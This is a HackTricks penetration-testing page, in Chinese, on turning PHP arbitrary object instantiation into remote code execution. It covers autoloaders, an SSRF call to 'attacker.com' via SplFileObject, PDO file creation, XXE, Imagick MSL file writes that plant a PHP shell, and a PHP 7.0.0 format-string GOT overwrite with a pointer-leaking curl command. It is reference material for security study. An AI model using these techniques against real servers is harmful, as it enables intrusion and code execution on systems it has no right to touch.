PHP - RCE 利用对象创建: new $_GET"a"

Reading time: 8 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

这基本上是对 https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/ 的摘要

介绍

创建任意对象,例如 new $_GET["a"]($_GET["a"]),可能导致 Remote Code Execution (RCE),详见 writeup。本文档重点介绍实现 RCE 的各种策略。

RCE 通过自定义类或自动加载

语法 new $a($b) 用于实例化对象,其中 $a 表示类名,$b 是传递给构造函数的第一个参数。这些变量可以来自用户输入,如 GET/POST,它们可能是字符串或数组,或来自 JSON,在那里它们可能呈现为其他类型。

请考虑下面的代码片段:

php
class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

在这个例子中,将 $a 设置为 AppApp2,并将 $b 设置为系统命令(例如 uname -a),会导致该命令被执行。

Autoloading functions 可以被利用,如果没有这样的类可直接访问。这些函数会在需要时自动从文件中加载类,并通过 spl_autoload_register__autoload 定义:

php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

自动加载 (autoloading) 的行为因 PHP 版本而异,带来不同的 RCE 可能性。

通过内置类实现 RCE

如果没有自定义类或自动加载器,内置 PHP 类 可能足以实现 RCE。根据 PHP 版本和扩展,这些类的数量大约在 100 到 200 之间。可以使用 get_declared_classes() 列出它们。

可以通过反射 API 确定感兴趣的构造函数,如下面示例和链接所示 https://3v4l.org/2JEGF

通过特定方法的 RCE 包括:

SSRF + Phar Deserialization

SplFileObject 类通过其构造函数实现 SSRF,允许连接到任意 URL:

php
new SplFileObject('http://attacker.com/');

SSRF 可以导致在 PHP 8.0 之前的版本中通过 Phar 协议发生反序列化攻击。

利用 PDOs

PDO 类的构造函数允许通过 DSN 字符串连接到数据库,可能导致创建文件或其他交互:

php
new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

在 libxml2 的特定版本条件下,PHP(最高至 5.3.22 和 5.4.12)通过 SoapClientSimpleXMLElement 构造函数易受 XXE 攻击。

通过 Imagick Extension 实现 RCE

在对一个项目依赖项的分析中,发现可以通过实例化新对象利用 Imagick 来进行 command execution。这为利用漏洞提供了机会。

VID 解析器

发现 VID 解析器具有将内容写入文件系统任意指定路径的能力。这可能导致在可被 Web 访问的目录中放置 PHP shell,从而实现 Remote Code Execution (RCE)。

VID Parser + File Upload

需要注意的是,PHP 会将上传的文件临时存储在 /tmp/phpXXXXXX。Imagick 中的 VID 解析器,利用 msl 协议,可以在文件路径中处理通配符,从而将临时文件转移到选定位置。该方法为在文件系统中实现任意文件写入提供了另一种途径。

PHP Crash + Brute Force

original writeup 中描述的一种方法,涉及上传在删除之前触发服务器崩溃的文件。通过暴力破解临时文件名,Imagick 就有可能执行任意 PHP 代码。然而,该技术仅在过时的 ImageMagick 版本中被发现有效。

Format-string in class-name resolution (PHP 7.0.0 Bug #71105)

当用户输入控制类名(例如,new $_GET['model']())时,PHP 7.0.0 在进行 Throwable 重构期间引入了一个短暂的错误,导致引擎在解析类名时错误地将其视为 printf 格式字符串。这使得在 PHP 内实现经典的 printf 风格原语成为可能:leaks with %p,通过宽度说明符控制写入计数,以及使用 %n 对进程内指针(例如 ELF 构建上的 GOT 条目)进行任意写入。

最小复现的易受攻击模式:

php
<?php
$model = $_GET['model'];
$object = new $model();

利用概述(来自参考):

  • Leak addresses via %p in the class name to find a writable target:
bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
  • 使用位置参数和宽度说明符来设置精确的字节计数,随后使用 %n 将该值写入栈上可到达的地址,目标为 GOT 插槽(例如 free),以部分覆盖为 system
  • 通过传递包含 shell pipe 的类名触发被劫持的函数,从而调用 system("id")

注意:

  • 仅适用于 PHP 7.0.0(Bug #71105);在随后的版本中已修复。如果存在任意类实例化,严重性:critical。
  • 典型的 payload 会串联多个 %p 来遍历栈,然后使用 %.<width>d%<pos>$n 来实现部分覆盖。

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks